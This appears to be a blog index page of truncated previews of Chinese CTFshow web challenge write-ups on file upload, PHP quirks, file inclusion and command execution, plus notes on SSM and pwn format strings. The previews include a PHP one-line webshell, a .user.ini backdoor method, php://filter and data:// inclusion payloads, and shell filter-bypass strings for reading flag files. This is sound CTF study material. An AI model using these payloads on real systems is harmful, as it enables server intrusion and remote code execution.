CTFshow-文件上传(Web151-170)
CTFshow-文件上传(Web151-170)参考了CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客 Web151 要求png,然后上传带有一句话木马的a.png,burp抓包后改后缀为a.php,然后蚁剑连接,找flag 1<?php eval($_POST['cmd']);?> Web152同上题 Web153 猜测内容是不是有php被识别了,还是不合规 这里我们尝试.htaccess(因为它只适用于Apache)所以不行,这里要使用.user.ini 看题解: php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门。 .user.ini 原理:...
CTFshow-php特性(Web125-150)
CTFshow-php特性(Web125-150)Web125123456789101112131415<?phperror_reporting(0);highlight_file(__FILE__);include("flag.php");$a=$_SERVER['argv'];$c=$_POST['fun'];if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i",...
CTFshow-php特性(Web89-115)
CTFshow-php特性(Web89-115)Web89(intval)12345678910111213<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; }} preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1 这里有个intval函数:获取变量的整数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。...
SSM整合
SSM整合一、ContextLoaderListenerSpring提供了监听器ContextLoaderListener,实现ServletContextListener接口,可监听ServletContext的状态,在web服务器的启动,读取Spring的配置文件,创建Spring的IOC容器。web应用中必须在web.xml中配置 12345678910111213<listener> <!-- 配置Spring的监听器,在服务器启动时加载Spring的配置文件 Spring配置文件默认位置和名称:/WEB-INF/applicationContext.xml 可通过上下文参数自定义Spring配置文件的位置和名称 --> ...
pwn入门-非栈上格式化字符串
pwn入门-非栈上格式化字符串星盟one_gadget的一些姿势 - unr4v31 - 博客园 非栈上分两种情况。一在bss段上,二在堆上 跟栈上的区别是,比如网鼎杯那道题,是直接往栈上能写pritf的got地址,然后去修改,而这里不行 改ret地址中的libc start main为onegadget(难度简单,可能onegadget失效) 改printf的got为system/onegadget(难度中等,通杀)也就是下面的四马分肥 libc可以查看libc地址 然后改第二个把9c改成ac 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112#...
CTFshow-命令包含(Web78-88,Web116,117)
CTFshow-文件包含(Web78-88,Web116,117)Web78 ?file=data:text/plain, ?file=data://text/plain, ?file=php://filter/read=convert.base64-encode/resource=flag.php Web79 ?file=data:text/plain, 改大写 ?file=data://text/plain, ?file=data://text/plain, ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system(‘ls’); ...
CTFshow-命令执行(Web58-77)
CTFshow-命令执行(Web58-77)Web581234567<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);} Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()’d code on line...
CTFshow-命令执行(Web118-122,124)
CTFshow-命令执行(Web118-122,124)Web118输入ls,cat 等脚本都不行,fuzz测试一下 我们的payload一般是cat/nl等命令+flag.php。flag.php我们可以用通配符代替????.???。cat/nl等命令我们可以用Bash内置变量。 环境变量PATH一般是/bin,题目路径PWD是/var/www/html。 但是题目过滤了数字,无法使用切片。换一种方式获取字符。 linux可以利用~获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0。 ${IFS}可以,其他都不太行 ${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母,组合起来就是nl 12345678$PWD和${PWD} 表示当前所在的目录 /var/www/html${#PWD} 13 前面加个#表示当前目录字符串长度${PWD:3} ...
CTFshow-命令执行(Web29-40)
CTFshow-命令执行(Web29-40)CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。 123456789101112${IFS}$9{IFS}$IFS${IFS}$IFS$1 //$1改成$加其他数字貌似都行IFS< <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来%20 (space)%09 (tab)X=$'cat\x09./flag.php';$X ...
CTFshow-命令执行(Web41-57)
CTFshow-命令执行(Web41-57)CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。 123456789101112${IFS}$9{IFS}$IFS${IFS}$IFS$1 //$1改成$加其他数字貌似都行IFS< <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来%20 (space)%09 (tab)X=$'cat\x09./flag.php';$X ...